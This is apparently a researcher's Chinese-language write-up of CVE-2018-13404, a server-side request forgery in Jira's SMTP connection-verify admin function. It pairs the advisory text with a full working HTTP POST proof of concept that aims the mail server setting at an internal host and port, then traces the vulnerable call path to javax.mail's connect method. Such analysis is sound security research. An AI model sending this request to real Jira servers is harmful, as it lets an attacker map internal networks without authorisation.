CVE-2018-13404：[Jira]VerifyPopServerConnection功能SSRF

来源：https://jira.atlassian.com/browse/JRASERVER-68527
描述为：

allows remote attackers who have administrator rights to determine the existence of internal hosts & open ports and in some cases obtain service information from internal network resources via a Server Side Request Forgery (SSRF) vulnerability

由于需要管理员权限才能利用，危害较低，只有4分：

POST /secure/admin/VerifySmtpServerConnection!add.jspa HTTP/1.1
Host: cqq.com:8091
Content-Length: 300
Cache-Control: max-age=0
Origin: http://cqq.com:8091
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3760.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://cqq.com:8091/secure/admin/AddSmtpMailServer!default.jspa
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=909f8912-966b-4146-845c-bd4afbb342a9; JSESSIONID.a8dacec0=40k4rm1bg41cq0iz0pk06mw; screenResolution=1680x1050; jenkins-timestamper-offset=-28800000; JSESSIONID.ea565973=node0gs7qzwbwbve61rkcov30n71s56.node0; JSESSIONID.7fff2687=node0qm94g8n471v01guwzr3cy7gur6.node0; JSESSIONID.97de572c=1sd5yqku2s4amea1xvrtr6t8q; pgv_info=ssid=s2748431704; pgv_pvid=2487547493; ts_uid=9932210140; ADMINCONSOLESESSION=n1FCcBGb0SJfNrcMQhps1LXycQWMpvVhwQKn123nzbs1xqS6hbvf!1714415663; atlassian.xsrf.token=BBAN-C0N2-UEHO-M2OJ_7978bcc6c6a3a10bcc73fd8d695f73c34f82fb40_lin; AJS.conglomerate.cookie="|hipchat.inapp.links.first.clicked.cqq=false"; JSESSIONID=F2B9D75D0B3108F1E70D18CD81CFBD28
Connection: close

name=testSMTP&description=testSMTP&from=admin%40cqq.com&prefix=mdl_&serviceProvider=custom&protocol=smtp&serverName=192.168.170.139&port=4444&timeout=10000&username=cqq&changePassword=true&password=cqq&jndiLocation=&type=smtp&atl_token=BBAN-C0N2-UEHO-M2OJ_7978bcc6c6a3a10bcc73fd8d695f73c34f82fb40_lin

若不提供管理员Cookie无法利用：

参考了一下jira的开发文档，知道了一般url后缀对应的是do某方法，然后url前面的是对应的Java的类，所以可以在
atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/jira-mail-plugin-10.0.13.jar!/com/atlassian/jira/plugins/mail/webwork/VerifySmtpServerConnection#doAdd
下断点。

调用栈如下：

最终调用atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/base-hipchat-integration-plugin-7.10.3.jar!/javax/mail/Service#connect调用这一句：

connected = this.protocolConnect(host, port, user, password);

参考：https://docs.oracle.com/javaee/7/api/javax/mail/Service.html#connect-java.lang.String-int-java.lang.String-java.lang.String-

完成TCP请求.